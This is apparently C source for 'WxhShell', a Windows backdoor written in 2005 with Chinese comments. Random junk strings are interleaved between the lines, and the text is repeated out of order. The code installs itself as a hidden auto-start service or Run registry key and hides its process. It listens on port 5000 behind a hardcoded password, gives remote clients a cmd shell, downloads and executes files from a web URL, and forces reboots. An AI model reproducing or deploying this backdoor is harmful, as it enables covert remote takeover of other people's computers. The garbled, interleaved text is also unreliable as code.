uJ=]T static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n+%tu"e /o]j HANDLE hProcess; 2E_*'RT PROCESS_BASIC_INFORMATION pbi; m0_B[dw !:|[?M.` HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ye"#tCOEG if(NULL == hInst ) return 0; k*Vf2O3${ JTI 'W g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *^t7?f[ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8@J5tFJ&% NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n9x&Ws; bdz&"\$X if (!NtQueryInformationProcess) return 0; %5|DdpES |cd=7[B hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @!:_r5R~N if(!hProcess) return 0; kF o&! TVEFZ\p<A if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -|x YT+?%
Im8c CloseHandle(hProcess); t?404 tpP2dg9dF hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R4P$zB_<2 if(hProcess==NULL) return 0; elzKtVw /aHx'TG HMODULE hMod; ;?'=*+'> char procName[255]; Q]NGd 0 J unsigned long cbNeeded; ^tY$pPA 96.Vm*/7 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @!zT+W& cA]Ch>]A% CloseHandle(hProcess); >(:b\*C qc6eqE if(strstr(procName,"services")) return 1; // 以服务启动 EU@XLm6 )}i;OLw- return 0; // 注册表启动 Q1(6U6L } Vuu_Sd 5xF R7%_& // 主模块 'YUx&FcM int StartWxhshell(LPSTR lpCmdLine) X=d;WT4,, { vhaUV#V" SOCKET wsl; zgR@-OtFZ BOOL val=TRUE; }2-p=Y:6 int port=0; u{"@
4 struct sockaddr_in door; rGxX] RS`~i8e' if(wscfg.ws_autoins) Install(); q\gvX
76a ZRr S""V port=atoi(lpCmdLine); ?=X_a{}/ maopr$r if(port<=0) port=wscfg.ws_port; &$
/}HND z`Cq,Sz/ WSADATA data; "-;l{tL if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EFKOElG(k zu-1|XX if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; WJN}d-S=^ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h]z>H~.<* door.sin_family = AF_INET; baVSQtda door.sin_addr.s_addr = inet_addr("127.0.0.1"); J)xc mK door.sin_port = htons(port); U&<Nhh 61^5QHur if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "TgE@bC closesocket(wsl); |+0XO?,sZ return 1; F&I ;E i } .0zNt "p{cz( if(listen(wsl,2) == INVALID_SOCKET) { _hb@O2f closesocket(wsl); YN@4.&RP return 1; %95'oW)lo } U'tfsf/V Wxhshell(wsl); ;Pi-H,1b WSACleanup(); Sn lKPd &R
"Q return 0; A+Xk=k5< #=hI}%n } $SmmrM =1}Umn|ZLS // 以NT服务方式启动 C'c9AoE5> VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g,
%xGQ4+ { HX3R@^vo DWORD status = 0; <Y9xHn& DWORD specificError = 0xfffffff; Uc3-n`C URFp3 qE serviceStatus.dwServiceType = SERVICE_WIN32; =NHzh! serviceStatus.dwCurrentState = SERVICE_START_PENDING; =(~UK9` serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h^D]@H serviceStatus.dwWin32ExitCode = 0; -^sbf. serviceStatus.dwServiceSpecificExitCode = 0; 9(/ ;Wutj" serviceStatus.dwCheckPoint = 0; Z $? Ql@M serviceStatus.dwWaitHint = 0; dw
v(8 8,,$C7"EP hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9O+><x[i if (hServiceStatusHandle==0) return; 7.o:(P1??g R]7-6 status = GetLastError(); 6O>GVJbw if (status!=NO_ERROR) fb 8t9sAI { ( IXe555 serviceStatus.dwCurrentState = SERVICE_STOPPED; Q/,bEDc& serviceStatus.dwCheckPoint = 0; =k1 ,jn+ serviceStatus.dwWaitHint = 0; d,G:+ serviceStatus.dwWin32ExitCode = status; v{}i`|~J serviceStatus.dwServiceSpecificExitCode = specificError; 0DBA 'Cv SetServiceStatus(hServiceStatusHandle, &serviceStatus); %`P6a38j return; R`F54?th } HCI|6{k xnW3,:0 serviceStatus.dwCurrentState = SERVICE_RUNNING; \p-3P)U serviceStatus.dwCheckPoint = 0; |@x^5Ab$T serviceStatus.dwWaitHint = 0; to1{7q if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >_Dq )n;% } D9;2w7v DJ)z~W2I* // 处理NT服务事件,比如:启动、停止 RN1q/H| VOID WINAPI NTServiceHandler(DWORD fdwControl) Bw31h3yB { rSUarfZ< switch(fdwControl) GN4'LU { 3f2%+2Zjt, case SERVICE_CONTROL_STOP: A?V[/ serviceStatus.dwWin32ExitCode = 0; @,<@y>m7 serviceStatus.dwCurrentState = SERVICE_STOPPED; _JZwd9K serviceStatus.dwCheckPoint = 0; W -Yv0n3 serviceStatus.dwWaitHint = 0; g{zvks~it { D~~&e<v'1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); w~NQAHAvo } =""z!%j return; P9)E1]Dc$ case SERVICE_CONTROL_PAUSE: Z.b} serviceStatus.dwCurrentState = SERVICE_PAUSED; iwnctI break; (6R^/*-o case SERVICE_CONTROL_CONTINUE: @hlT7C)xK serviceStatus.dwCurrentState = SERVICE_RUNNING; UN
<s1 break; =rA "|= case SERVICE_CONTROL_INTERROGATE: G6C#M-S break; E|t.
3 }; ze<Lc/ ;X~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q2c|sK8
} W)dQyZ>J ad "yo=%1 // 标准应用程序主函数 )Jx +R;Z int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )T1U!n?^x { -kh O4, v+NdO$o // 获取操作系统版本 T[}A7a6g_ OsIsNt=GetOsVer(); X|}yp| GetModuleFileName(NULL,ExeFile,MAX_PATH); /STFXR1@.u b]'Uv8f bF // 从命令行安装 *{qW7x.6h if(strpbrk(lpCmdLine,"iI")) Install(); E880X<V)> e6C;A]T2E // 下载执行文件 ,GB~Cmc1<Q if(wscfg.ws_downexe) { 8E:8iNbF if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j@xerY WinExec(wscfg.ws_filenam,SW_HIDE); ]Q Y:t:- } IJxBPwh nyyKA_#:5 if(!OsIsNt) { "+oP((9 // 如果时win9x,隐藏进程并且设置为注册表启动 L*xu<(>K HideProc(); b'9\j.By StartWxhshell(lpCmdLine); <9JI@\> } iGxlB else "@1e0`n
Q if(StartFromService()) P|>
f O' // 以服务方式启动 Yv?nw-HM StartServiceCtrlDispatcher(DispatchTable); DQ'=$z else '->%b // 普通方式启动 _g|zDi^ StartWxhshell(lpCmdLine); "~R,%sYb( f}JiYZ return 0; {9kH<,PJ;! } S]E1+,-* A>@ i
TI -nVQB146^ 6w3z&5DY| =========================================== M#BM`2!s P.L$qe>O J1@X6U!{ .TcsXYL.`, pFfd6P J9!}8uD " j_::#?o!/ _4eSDO[h #include <stdio.h> !c}?u_Z/ #include <string.h> .<0|V #include <windows.h> ]ZV.@%+ #include <winsock2.h> v6Vie o= #include <winsvc.h> J!O{.v #include <urlmon.h> ]ow$VF{y Gwyjie 9t #pragma comment (lib, "Ws2_32.lib") [D!-~]5 #pragma comment (lib, "urlmon.lib") k9>2d' Q 4+rr3 $AY #define MAX_USER 100 // 最大客户端连接数 Af~>}-`a #define BUF_SOCK 200 // sock buffer ObK-<kGcB #define KEY_BUFF 255 // 输入 buffer ]mDsd* 1 #2`ST=# #define REBOOT 0 // 重启 vL>cYbJ< #define SHUTDOWN 1 // 关机 }I3 ZNd *C/bf)w #define DEF_PORT 5000 // 监听端口 ;WydXQ}Q^ eIZ7uSl #define REG_LEN 16 // 注册表键长度 yQAW\0` #define SVC_LEN 80 // NT服务名长度 Y nD_:ZK :c4iXK0_^? // 从dll定义API %N jRD| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (OA-Mgyc typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F8u;C:^d typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OVwcjhQ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /y8=r"'G #~3$4j2U(y // wxhshell配置信息 iME)Jl& struct WSCFG { !V<c:6" int ws_port; // 监听端口 vJybhdvP char ws_passstr[REG_LEN]; // 口令 I-?PTr int ws_autoins; // 安装标记, 1=yes 0=no 3X&'hz@ char ws_regname[REG_LEN]; // 注册表键名 O!uZykdX4! char ws_svcname[REG_LEN]; // 服务名 K fM6(f: char ws_svcdisp[SVC_LEN]; // 服务显示名 OZDd char ws_svcdesc[SVC_LEN]; // 服务描述信息 D<V[:~-o char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y^ Of int ws_downexe; // 下载执行标记, 1=yes 0=no ~3f`= r3/. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <1t.f}}uX char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T0:%,o I&2)@Zw }; }XOTK^YA C)x>/Qr ~ // default Wxhshell configuration 47S1mxur struct WSCFG wscfg={DEF_PORT, EC`!&Yp+ "xuhuanlingzhe", r;>2L' 1, xIOYwVC "Wxhshell", %Aqt0e
"Wxhshell", b-)m'B}` "WxhShell Service", HuVx^y`
@ "Wrsky Windows CmdShell Service", p$5uS=:4`8 "Please Input Your Password: ", wSy|h*a, 1, 8i
epG "http://www.wrsky.com/wxhshell.exe", @fI1|v=eF "Wxhshell.exe" T^z }; B^7B-RBi0 I_?+;<n // 消息定义模块 1/JtL>SKE char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9i6z p' char *msg_ws_prompt="\n\r? for help\n\r#>"; fGZZ['E char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,.<[iHC}9 char *msg_ws_ext="\n\rExit."; ^bD)Tg5K char *msg_ws_end="\n\rQuit."; *Z9Rl> char *msg_ws_boot="\n\rReboot..."; N7Kg52| char *msg_ws_poff="\n\rShutdown..."; 9Dat
oi char *msg_ws_down="\n\rSave to "; !^[i"F:G AVn?86ri char *msg_ws_err="\n\rErr!"; 0mt lM( char *msg_ws_ok="\n\rOK!"; UFE# J Q1Jw7R#?l char ExeFile[MAX_PATH]; "b~-`ni int nUser = 0; +'-i (]@!' HANDLE handles[MAX_USER]; 6dH> 0l int OsIsNt; (+(YQ2 .eBo:4T!d SERVICE_STATUS serviceStatus; ]'.D@vFGO SERVICE_STATUS_HANDLE hServiceStatusHandle; Kia34 ~W DB=^Z%%Z // 函数声明 }s@
i int Install(void); \!51I./Q/ int Uninstall(void); /8cfdP Ba int DownloadFile(char *sURL, SOCKET wsh); GbXa=*
<-< int Boot(int flag); l:@`.'-= void HideProc(void); 0:1[F!]'b int GetOsVer(void); S17iYjy#8T int Wxhshell(SOCKET wsl); E;o
"^[we void TalkWithClient(void *cs); ;bYpMcH int CmdShell(SOCKET sock); hL?"! int StartFromService(void); q PveG1+25 int StartWxhshell(LPSTR lpCmdLine);
Qhc>,v) &06pUp
iS VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G5oBe6\C VOID WINAPI NTServiceHandler( DWORD fdwControl ); &UFj
U%Z% =q\Ghqj1 // 数据结构和表定义 sahXPl%;U SERVICE_TABLE_ENTRY DispatchTable[] = Ye=c;0V(w { F.Sc2n@7- {wscfg.ws_svcname, NTServiceMain}, RJ+["[k {NULL, NULL} y/.I<5+Bu }; M#u~]?hS 0Tv0:c>8;( // 自我安装 a_T3< int Install(void) J<vVsz+7: { 'kBq@> char svExeFile[MAX_PATH]; dzbFUDJ HKEY key; l-gNJ=l+K strcpy(svExeFile,ExeFile); BJDSk#!J!{ 7l+:gD // 如果是win9x系统,修改注册表设为自启动 FJ+n-
\ if(!OsIsNt) { G m~2s;/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DtFzT>$^F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); } %bP9 RegCloseKey(key); (teK0s;t5k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mS9ITe
M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z,"f2UJ RegCloseKey(key); #dj,=^1_14 return 0; d69synEw>k } z+5%.^Re } GbwqrH+ } xf7_|l else { nB9(y4 WJ&a9]&C // 如果是NT以上系统,安装为系统服务 AxAbU7m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %E"dha JY if (schSCManager!=0) PR2;+i3 { /cX%XZg SC_HANDLE schService = CreateService NY3/mS3w ( =M],5<2; schSCManager, >(\Z-I&YQ wscfg.ws_svcname, lc(}[Z/|V wscfg.ws_svcdisp, Gl6M(<f\5 SERVICE_ALL_ACCESS, VBN=xg} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8-s7s!j SERVICE_AUTO_START, =M ."^X SERVICE_ERROR_NORMAL, DX(!G a svExeFile, kQ99{lH,5 NULL, OnND(YiX NULL, 2EC<8}CG NULL, B1k;!@@14 NULL, }8Yu"P${Y NULL ..fbRt ); `L
m9!? if (schService!=0)
'E)g )@^ { i`7(5L~` CloseServiceHandle(schService); ?m\?
# CloseServiceHandle(schSCManager); K9tr Iy$v strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VUUE2k;^ strcat(svExeFile,wscfg.ws_svcname); o^3X5})sv if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v/GZByco> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iOdk) RegCloseKey(key); "KKw\i return 0; O"ebrv } >|rU*+I` } s?7"iE CloseServiceHandle(schSCManager); 7m.>2U } 3{{Ew}kZm } oC~+K@S VT2f\d[Q return 1; mIW/x/I } Xk9 8%gv aXgngwq // 自我卸载 7U2?in}?Qi int Uninstall(void) /_!Ed] { +lhnc{;WJv HKEY key; 0]Qk *u< y7T<Auue` if(!OsIsNt) { NI85|*h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :I(d-,C RegDeleteValue(key,wscfg.ws_regname); sEHA?UP$<F RegCloseKey(key); t8f:?
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >9Z7l63+} RegDeleteValue(key,wscfg.ws_regname); zI$'D|A RegCloseKey(key); YZZog 6% return 0; /wPW2<|"X. } eZ|_wB'r } lQqP4-E? } 5I&Dk4v else { *:Uq
;)* ^ pNA_s!S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ov@vNj& if (schSCManager!=0) j_0xE;g"] { yqKSaPRA SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $QnsP#ePN if (schService!=0) 6 2LLfD { Vtv1{/@+c if(DeleteService(schService)!=0) { #b@ sV$ CloseServiceHandle(schService); _BI[F
m CloseServiceHandle(schSCManager); 9cQ;h37J> return 0; '3iJ q9 } 2.
f8uq CloseServiceHandle(schService); jP\5bg-} } jE2EoQi, CloseServiceHandle(schSCManager); hg-M>|s7 } 'x u!t'l& } ke2}@|?t qoSZ+ khS$ return 1; FVWHiwRU, } iZE7
B7K gTk*v0WBm // 从指定url下载文件 v,jB(B^|Z int DownloadFile(char *sURL, SOCKET wsh) Ao, <G.>R { #F#M<d3-2
HRESULT hr; """pe+Y char seps[]= "/"; KvumU>c#A char *token; N=j$~,yG char *file;
o('6,D char myURL[MAX_PATH]; df{6!}/( char myFILE[MAX_PATH]; ;v5Jps2^] vlo!D9zsV3 strcpy(myURL,sURL); [sl"\3) token=strtok(myURL,seps); ^+}~"nvD while(token!=NULL) 6o]j@o8V { _xGC0f ( file=token; +J3Y}A4W3X token=strtok(NULL,seps); ]RxWypA` } T/?C_i 3il/{bgM GetCurrentDirectory(MAX_PATH,myFILE); 0Om<+]).R strcat(myFILE, "\\"); N~%~Q strcat(myFILE, file); ^L-; S send(wsh,myFILE,strlen(myFILE),0); w"Y'I$ send(wsh,"...",3,0); `V{'GF&[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /%AA\`:6 if(hr==S_OK) "QmlW2ysi return 0; P,)\#([vc else Je~`{n return 1; q>m[vvt" gT2k}5d}p } .$ xTX' A5~OHmeK // 系统电源模块 nTHCb>,vM int Boot(int flag) LZ8xh { YJ>P+e\o9 HANDLE hToken; yJ?=HH? TOKEN_PRIVILEGES tkp; pg3h>)$/ \9 k3;zw if(OsIsNt) { FO)`&s"&2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wu3p2#-Z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wRJ`RKJ-T tkp.PrivilegeCount = 1; 9'A^n~JHF tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [_HOD^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w
sbzGW~= if(flag==REBOOT) { toel!+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8@]vvZ2/gj return 0; XhmUtbs } vP^V3 else { R(IYb%L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [s F/sa3 return 0; Hd{@e6S }
*z__$!LR } O5ZR{f& else { q{pa _ if(flag==REBOOT) { Q+dLWFI if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AdWP return 0; Is>~ P*2Y= } mA4]c
else { Q1P=A:*]9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l8+;)2p! return 0; ft?c&h;At } V"8w:? } #,;Q|)AD:e SA{5A 1 return 1; ddw^oU } !BN@cc[% b5W(}ka+ // win9x进程隐藏模块 X{P=2h#g
void HideProc(void) } ^WmCX2a { j"n"=rTTQ {Z#=ppvs HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $j"BHpN if ( hKernel != NULL ) c>BDw< { !"dAwG?S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q:j)F|uhc ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O |*-J FreeLibrary(hKernel); ;]T;mb> } Zo@ N]&:xd5 return; `{xKU8j^ } j>Cp4 ,=dc-%J // 获取操作系统版本 a&<_M$J& int GetOsVer(void) #O!gjZ, { jAfqC@e OSVERSIONINFO winfo; 0HDL;XY6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B:(a?X-7 GetVersionEx(&winfo); P9q ZjBS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C'a#.LM return 1; lbMok/a2o else iIc/%<
; return 0; %nyZ=&u } u|75r%p> wS+j^
;" // 客户端句柄模块 0}WDB_L int Wxhshell(SOCKET wsl) 7|(o=+Bt { !wH'dsriD SOCKET wsh; om8`^P/b struct sockaddr_in client; h/..cVD,K DWORD myID; X;CRy, LQJC ]*b1 while(nUser<MAX_USER) n= FOB0= { L+_
JKc int nSize=sizeof(client); a$$aM2.2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Dmr3r[ if(wsh==INVALID_SOCKET) return 1; '?d5L+9 H Yw7* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;jFUtG if(handles[nUser]==0) d?N[bA
closesocket(wsh); MC%!>,tC else *`V r P nUser++; R[}fr36>/ } <STE~ZmO WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mLDuizWI ebhV;Q. return 0; -AwkP } ^>#@qMw
xPz Bbe // 关闭 socket 9EWw void CloseIt(SOCKET wsh) @P<aTRy,f { dlBr2 9 closesocket(wsh); N[kl3h%q nUser--; lCGEd 3 ExitThread(0); %:\GYs(Y } A}_0iwG VbX$\Cs: // 客户端请求句柄 Wcki=ac\v! void TalkWithClient(void *cs) x| r# { .qrS[ w G' mg-{ SOCKET wsh=(SOCKET)cs; na_Wp^; char pwd[SVC_LEN]; t""d^a#Dp char cmd[KEY_BUFF]; yQ| V7G char chr[1]; E51S#T int i,j; yHn8t]{ qE M,~:lTn while (nUser < MAX_USER) { hI,+J> Vsd4; if(wscfg.ws_passstr) { B* k|NZj if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 34 I Cn~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C5~
+"#B //ZeroMemory(pwd,KEY_BUFF); A\|:hzu+ i=0; ?~/_&=NSx while(i<SVC_LEN) { {0L)B{| N'YQ6U // 设置超时 `:
9n
]xP fd_set FdRead; F{laA YE struct timeval TimeOut; ;n.SRy6 FD_ZERO(&FdRead); VN]j*$5
FD_SET(wsh,&FdRead); o_cAelI[! TimeOut.tv_sec=8; U3t)yr h TimeOut.tv_usec=0; SbH} cu8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /@@?0xjX if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;$FMOMR UD^=@?^7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @*iT%p_L pwd=chr[0]; [#+klP$ if(chr[0]==0xd || chr[0]==0xa) { 'W/AYF^5 pwd=0; + {WZpP},v break; jm,:jkr } :b<< i++; 0iVeM!bM } }[]1`2qD lQG;WVqW // 如果是非法用户,关闭 socket C5=m~ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [S?`OF12 } Og?P5&C"9D fnK H< send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wN:vI(C send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sq+cF/jo6 ?6 "B4%7b while(1) { na3lbwq Ie4Xk ZeroMemory(cmd,KEY_BUFF); bDnT><eH 4v.i!U#
{ // 自动支持客户端 telnet标准 +HoCG;C{ j=0; bM"d$tl$?' while(j<KEY_BUFF) { =:m6ge@C&H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ai;- _M+$ cmd[j]=chr[0]; 3q.HZfN~ if(chr[0]==0xa || chr[0]==0xd) { p)s*Cw cmd[j]=0; DS0:^TLI break; 9a]h;r8,9z } O[z-K K< j++; 3#Xv))w1 } 6nW]Q^N} a6hDw'8! // 下载文件 B0,C!??5
if(strstr(cmd,"http://")) { %[BOe4[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); /m h #o if(DownloadFile(cmd,wsh)) ?y,z send(wsh,msg_ws_err,strlen(msg_ws_err),0); {r:5\ else A4Tjfc,rx9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fn Pej?f: } r(I&`kF< else { b;"Z`/h wa$Q8/ switch(cmd[0]) { Sb?HRoe_ 'y|p)r" // 帮助 !XT2'6nu case '?': { B X Et]+Q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mi7LyIu break; 2]+f<Z[/ } PF0AU T // 安装 |yi#6!}^ case 'i': { W&e}* if(Install()) dQ_yb+< send(wsh,msg_ws_err,strlen(msg_ws_err),0); <+AvbqDe else %h&F send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #%.fsJNA$ break; q!<n\X3]u } Z!I#Z2X // 卸载 d+%Rg\v case 'r': { t ]P^6jw' if(Uninstall()) e?fA3Fug send(wsh,msg_ws_err,strlen(msg_ws_err),0); D()tP else !0Eo9bU%@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qp~3DUM break; B0m2SUC,H } &cT@MV5 // 显示 wxhshell 所在路径 `bjPOA(g case 'p': { CB>*(Mu char svExeFile[MAX_PATH]; "\rR0V!wA strcpy(svExeFile,"\n\r"); E6clVa strcat(svExeFile,ExeFile); _dwJ; j`2 send(wsh,svExeFile,strlen(svExeFile),0); d1u6*&@lf break; 7xCm"jgP } y
hNy // 重启 5wa!pR\c case 'b': { IV|})[n* send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {3K`yDF if(Boot(REBOOT)) /N=M9i\; send(wsh,msg_ws_err,strlen(msg_ws_err),0); SD]rYIu+ else { y#-~L-J_R closesocket(wsh); q uiX"lV( ExitThread(0); @@#(<[S\B } Wqas1yL_ break; P@8S|#LpZ } )KUEkslR: // 关机 6kdcFcV-] case 'd': { 7loIjT7 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U_@Dn[/: if(Boot(SHUTDOWN)) 7o$S6Y;c4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); rWN%Tai- else { }PxPJ$o closesocket(wsh); HD;l1W) ExitThread(0); %VwkYAgA } \04(V'`U break; s@pIcNvx } . 12H/F // 获取shell lBNB8c0e"{ case 's': {
8RU91H8fE CmdShell(wsh); 7>xfQ closesocket(wsh); }/M`G]wT# ExitThread(0); ?Y_!Fr3V break; lh*!f$2~ } (dAE // 退出 rz.`$ case 'x': { ;!pJ%p0Sc send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uX~YDy CloseIt(wsh); l#rr--]; break; oU)3du
} l'kVi // 离开 $B?IE#7S4 case 'q': { `WlQ<QEi send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]DLs'W;) closesocket(wsh); h[r)HX0hA WSACleanup(); / e]R0NI exit(1); :p.f zL6X break; V7$-4%NL } c!J|vRA5 } -Rj3cx } F tay8m@f koy0A/\% // 提示信息 -5<G^AS if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?T_bjALW } +"JQ5~7 } 8W}rSv+ Hzojv<c return; l` ?4O } A\QrawBp0l =$WDB=i // shell模块句柄 7x)32f" int CmdShell(SOCKET sock) X oh@ (% { @+;
cFj STARTUPINFO si; w!
':Ws ZeroMemory(&si,sizeof(si)); pzcof#2 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lCJ/@) si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A4f;ftB PROCESS_INFORMATION ProcessInfo; gv/yfiA? char cmdline[]="cmd"; RKwuvVI CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u~\ NL{ return 0; DXx),?s> } nv%0EAa#} LqoH]AcN // 自身启动模式 |#x]/AXa0/ int StartFromService(void) # &Z1d(! { c{wob%!> typedef struct ?<D1]Xv { ky@DH(^> DWORD ExitStatus; b%|6y DWORD PebBaseAddress; Pt?d+aBtV DWORD AffinityMask; $QJ,V~ DWORD BasePriority; BaOPtBYA: ULONG UniqueProcessId; 1JF>0ijU@ ULONG InheritedFromUniqueProcessId; %oiA'hz;* } PROCESS_BASIC_INFORMATION; vz`r
!xj) @S?D}myD PROCNTQSIP NtQueryInformationProcess; J9XV:)Yv# c}D>.x|] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z-;yDB:~t static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oL*ZfF3 G33'Cgo:, HANDLE hProcess; !E_RD,_ PROCESS_BASIC_INFORMATION pbi; gbN@EJ \zV'YeG HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SOQR(UT if(NULL == hInst ) return 0; ;N!W|G ki9vJ< g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N A9ss g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J|N>}di NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n/Dk~Q) `g:bvIV5x> if (!NtQueryInformationProcess) return 0; 8|-064i> 95oh}c hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d6{0[T^L if(!hProcess) return 0; w"A%@<V3Ec `(pe#Xxn if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H?)?(t7@ 4zx_L8#Z CloseHandle(hProcess); 8AIAv_
g &1ss
